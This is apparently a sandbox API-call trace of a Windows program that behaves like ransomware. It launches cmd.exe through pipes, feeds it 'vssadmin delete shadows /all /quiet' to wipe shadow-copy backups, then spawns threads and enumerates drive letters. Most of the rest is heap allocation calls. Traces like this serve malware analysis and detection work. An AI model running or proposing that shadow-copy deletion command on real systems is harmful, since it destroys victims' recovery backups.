	[0184.628] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x614980
	[0184.628] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x614980, Size=0x20) returned 0x60ee00
	[0184.628] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60ee00, Size=0x40) returned 0x5e7578
	[0184.628] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e7578, Size=0x80) returned 0x6141d8
	[0184.628] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6141d8, Size=0x100) returned 0x616018
	[0184.628] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0184.628] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x616018 | out: hHeap=0x5d0000) returned 1
	[0184.628] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x6377a0, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0184.628] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6477a8 | out: hHeap=0x5d0000) returned 1
	[0184.629] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6377a0 | out: hHeap=0x5d0000) returned 1
	[0184.629] CreatePipe (in: hReadPipe=0x19fd50, hWritePipe=0x19fd54, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fd50*=0x248, hWritePipe=0x19fd54*=0x24c) returned 1
	[0184.630] CreatePipe (in: hReadPipe=0x19fdc0, hWritePipe=0x19fdc4, lpPipeAttributes=0x19fd40, nSize=0x0 | out: hReadPipe=0x19fdc0*=0x250, hWritePipe=0x19fdc4*=0x254) returned 1
	[0184.630] SetHandleInformation (hObject=0x24c, dwMask=0x1, dwFlags=0x0) returned 1
	[0184.630] SetHandleInformation (hObject=0x250, dwMask=0x1, dwFlags=0x0) returned 1
	[0184.630] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19fd60*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254), lpProcessInformation=0x19fdb0 | out: lpCommandLine=0x0, lpProcessInformation=0x19fdb0*(hProcess=0x25c, hThread=0x258, dwProcessId=0xf9c, dwThreadId=0xfa0)) returned 1
	[0184.685] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65
	[0184.685] WriteFile (in: hFile=0x24c, lpBuffer=0x613b78*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x19fd5c, lpOverlapped=0x0 | out: lpBuffer=0x613b78*, lpNumberOfBytesWritten=0x19fd5c*=0x41, lpOverlapped=0x0) returned 1
	[0184.686] CloseHandle (hObject=0x25c) returned 1
	[0184.686] CloseHandle (hObject=0x258) returned 1
	[0184.686] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x617798 | out: hHeap=0x5d0000) returned 1
	[0184.686] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65
	[0184.686] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x613b78 | out: hHeap=0x5d0000) returned 1
	[0184.686] lstrlenW (lpString="%comspec%") returned 9
	[0184.686] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x60ee50 | out: hHeap=0x5d0000) returned 1
	[0184.686] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x258
	[0184.686] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x614b90
	[0184.686] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x614b90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x25c
	[0184.687] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60f168
	[0184.687] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x60f168, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x264
	[0184.688] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x614980
	[0184.688] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x614980, Size=0x20) returned 0x60ef68
	[0184.688] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60ef68, Size=0x40) returned 0x5e7578
	[0184.688] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26
	[0184.688] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd0) returned 0x5eabe8
	[0184.688] GetLogicalDrives () returned 0x4
	[0184.688] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10014) returned 0x617798
	[0184.688] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x614b48
	[0184.688] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x614b48, Size=0x20) returned 0x60ee50
	[0184.688] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60ee50, Size=0x40) returned 0x5e78d8
	[0184.688] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e78d8, Size=0x80) returned 0x614508
	[0184.688] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x614508, Size=0x100) returned 0x6160a8
	[0184.688] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6160a8, Size=0x200) returned 0x6160a8
	[0184.688] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6160a8, Size=0x400) returned 0x6160a8
	[0184.688] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6160a8, Size=0x800) returned 0x6277b8
	[0184.688] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6277b8, Size=0x1000) returned 0x6277b8
	[0184.688] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10000) returned 0x6287c0
	[0184.688] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x614980
	[0184.688] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x614a28
	[0184.688] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4) returned 0x60f0e8
	[0184.688] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x614b18
	[0184.688] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4) returned 0x60f2a8
	[0184.688] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x614b48
	[0184.688] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60f2a8, Size=0x8) returned 0x60f0b8
	[0184.688] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x614bd8
	[0184.688] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60f0b8, Size=0x10) returned 0x6149e0
	[0184.688] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6149b0
	[0184.688] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x614ba8
	[0184.688] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6149e0, Size=0x20) returned 0x60eef0
	[0184.689] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x614b00
	[0184.689] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60f2a8
	[0184.689] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x614a58
	[0184.689] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x614a70
	[0184.689] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x60eef0, Size=0x40) returned 0x5e77b8
	[0184.689] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x6149c8
	[0184.689] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x614ad0
	[0184.689] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x6149e0
	[0184.689] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x6149f8
	[0184.689] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x614ae8
	[0184.689] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x614bf0
	[0184.689] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60f1d8
	[0184.689] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x614a10
	[0184.689] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x5e77b8, Size=0x80) returned 0x614508
	[0184.689] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x614bc0
	[0184.689] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x614b78
	[0184.689] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x614c08
	[0184.689] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x614a88
	[0184.689] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x614c80
	[0184.689] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x614cb0
	[0184.689] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x614cc8
	[0184.689] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60f1e8
	[0184.689] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x614ce0
	[0184.689] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x614d10
	[0184.689] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x614c98
	[0184.689] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x614c68
	[0184.689] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x614cf8
	[0184.689] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x614d28
	[0184.689] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x638d80
	[0184.689] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638c48
	[0184.689] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x614508, Size=0x100) returned 0x6160a8
	[0184.689] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638dc8
	[0184.689] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638c90
	[0184.689] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638be8
	[0184.689] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x638d68
	[0184.689] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638c00
	[0184.689] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638db0
	[0184.689] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60f0b8
	[0184.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638de0
	[0184.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638d38
	[0184.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638d50
	[0184.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x6) returned 0x60f1f8
	[0184.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638c18
	[0184.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638b40
	[0184.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60f198
	[0184.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638c30
	[0184.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638b28
	[0184.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x638c60
	[0184.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638b88
	[0184.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638d98
	[0184.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638bd0
	[0184.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x638d08
	[0184.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638ba0
	[0184.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x638bb8
	[0184.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638af8
	[0184.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638b58
	[0184.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638cf0
	[0184.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638c78
	[0184.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60f0c8
	[0184.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638ca8
	[0184.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638b10
	[0184.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638cc0
	[0184.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638cd8
	[0184.690] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6160a8, Size=0x200) returned 0x6160a8
	[0184.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638d20
	[0184.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60f0f8
	[0184.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638b70
	[0184.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638e10
	[0184.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638e28
	[0184.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638f00
	[0184.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638f48
	[0184.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638f60
	[0184.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638f30
	[0184.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638e70
	[0184.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638df8
	[0184.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x638ee8
	[0184.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x638ed0
	[0184.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638ea0
	[0184.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638f90
	[0184.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x638eb8
	[0184.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x638fa8
	[0184.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638e40
	[0184.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x638f18
	[0184.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x638e88
	[0184.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638f78
	[0184.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638e58
	[0184.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638870
	[0184.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60f108
	[0184.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638a98
	[0184.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638990
	[0184.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638960
	[0184.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60f118
	[0184.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638918
	[0184.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x6388d0
	[0184.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6389f0
	[0184.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638948
	[0184.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6387f8
	[0184.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638ab0
	[0184.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6389d8
	[0184.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638930
	[0184.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x638978
	[0184.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x6389a8
	[0184.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6389c0
	[0184.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638a08
	[0184.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638900
	[0184.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x638a20
	[0184.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638a38
	[0184.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638a50
	[0184.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638a68
	[0184.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6388b8
	[0184.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638ac8
	[0184.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638828
	[0184.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638ae0
	[0184.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60f158
	[0184.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x6) returned 0x60f208
	[0184.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638a80
	[0184.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638810
	[0184.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638840
	[0184.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638858
	[0184.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x638888
	[0184.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x6388a0
	[0184.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6388e8
	[0184.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639318
	[0184.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639390
	[0184.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639468
	[0184.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x639528
	[0184.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6393c0
	[0184.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639378
	[0184.692] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6160a8, Size=0x400) returned 0x6160a8
	[0184.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6393a8
	[0184.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6393d8
	[0184.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x639438
	[0184.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6394c8
	[0184.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639570
	[0184.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639588
	[0184.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x639540
	[0184.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6393f0
	[0184.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639408
	[0184.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6395d0
	[0184.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60f138
	[0184.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6395a0
	[0184.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x6395e8
	[0184.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6395b8
	[0184.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639300
	[0184.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639330
	[0184.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639348
	[0184.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x639450
	[0184.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639558
	[0184.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639360
	[0184.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639420
	[0184.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639480
	[0184.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639498
	[0184.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6394b0
	[0184.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6394e0
	[0184.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6394f8
	[0184.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8) returned 0x60f148
	[0184.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639510
	[0184.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639750
	[0184.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639708
	[0184.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6396c0
	[0184.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639690
	[0184.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639798
	[0184.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639660
	[0184.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6397b0
	[0184.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639678
	[0184.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x639720
	[0184.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6396f0
	[0184.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe) returned 0x639648
	[0184.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639738
	[0184.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639600
	[0184.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639780
	[0184.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6396a8
	[0184.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6396d8
	[0184.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x639768
	[0184.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639630
	[0184.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639618
	[0184.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639108
	[0184.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639060
	[0184.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639228
	[0184.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6392a0
	[0184.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639240
	[0184.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639018
	[0184.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639120
	[0184.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6392b8
	[0184.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639138
	[0184.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6392d0
	[0184.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639150
	[0184.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639168
	[0184.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6390c0
	[0184.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x639258
	[0184.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa) returned 0x6390a8
